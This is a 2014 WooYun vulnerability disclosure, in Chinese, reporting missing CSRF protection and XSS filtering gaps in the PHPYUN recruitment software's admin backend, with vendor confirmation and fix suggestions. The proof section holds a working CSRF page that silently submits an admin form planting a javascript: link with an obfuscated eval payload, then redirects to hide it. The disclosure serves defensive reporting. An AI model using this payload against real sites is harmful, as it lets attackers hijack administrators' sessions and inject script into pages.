当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-055771

漏洞标题：代码审计系列5: PHPYUN多个问题(涉及CSRF、XSS)

相关厂商：php云人才系统

漏洞作者： LaiX

提交时间：2014-04-08 13:55

修复时间：2014-07-07 13:56

公开时间：2014-07-07 13:56

漏洞类型：CSRF

危害等级：低

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-08： 细节已通知厂商并且等待厂商处理中
2014-04-08： 厂商已经确认，细节仅向厂商公开
2014-04-11： 细节向第三方安全合作伙伴开放
2014-06-02： 细节向核心白帽子及相关领域专家公开
2014-06-12： 细节向普通白帽子公开
2014-06-22： 细节向实习白帽子公开
2014-07-07： 细节向公众公开

简要描述：

这个程序较大，客户较多，出现这种问题影响也比较大。

详细说明：

由于整个程序的后台与后端的数据交互都没有对CSRF做防范，导致这程序后台面临着巨大的威胁。
另外还存在着诸多的XSS漏洞。
受影响较严重的功能：
系统管理 > 基础配置 > 网站配置 >
系统管理 > 基础配置 > 支付配置 >
系统管理 > 基础配置 > 管理员配置 >
系统管理 > 基础配置 > 导航配置 >
运营管理 > 运营管理 > 后台充值 >
运营管理 > 运营管理 > 短信群发 >
PS: 对于金钱相关的事儿，黑客们应该比较感兴趣吧

漏洞证明：

下面利用CSRF插入XSS的例子来说明一下。
首先定位：
运营管理 > 运营管理 > 友情链接 >
这里的过滤并不完善，可以完全绕开。
构造如下：

1.png


验证：

2.png


3.png


之后我们可以利用此站的CSRF漏洞 构造一个页面欺骗管理员自己发布一条XSS的链接

<meta http-equiv="content-type" content="text/html;charset=utf-8">
<h1>正在跳转...</h1>
<iframe id="test_iframe" src="http://www.phpyun.com/" style='display:none'>
</iframe>
<script>
function CSRF()
{
      test_iframe.document.write(
      	             "<form id='test_form' name='myform' action='http://127.0.0.1/phpyun/admin/index.php?M=link&amp;C=save' method='post'>"
                     +"<select name='type' onchange='check_link(this.value);'><option value='1'></option></select>"
                     +"<select name='domain'><option value='0'></option></select>"
                     +"<select name='tem_type'><option value='1'></option></select>"
	                 +"<input class='input-text' type='text' name='title' size='40' value='fuck'>"
	                 +"<input class='input-text' type='text' name='url' size='30' value='javascript:eval(&quot;aler&quot;+&quot;t()&quot;)'>"
                     +"<input class='admin_submit4' id='imsubmit' type='submit' name='link_add' value='add'>"
                     +"</form>"
                     +"<script>document.getElementById('imsubmit').click();<\/script>"
	                );
}
CSRF();
window.setTimeout("window.location.href='http://www.baidu.com/'", 5000); 
//延迟5秒后跳转到指定网页
</script>


同理，系统管理 > 基础配置 > 导航配置 > 中也没有进行过滤，这里就不再演示了。点击导航上的按钮可直接弹出，位置更加显眼，甚至可以改名称为首页。
这里的XSS的危害我就不解释了，可以干什么大家可以自由发挥。

修复方案：

两个建议：
1.token 防范、验证码、来源判断 ...。
2.那种插进SRC属性的XSS 可以在最字符串的最前面加入 http:// 协议。

版权声明：转载请注明来源 LaiX@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-04-08 14:04

厂商回复：

感谢您的提供，我们会加强后台安全！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-21 12:54 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟，)

    mark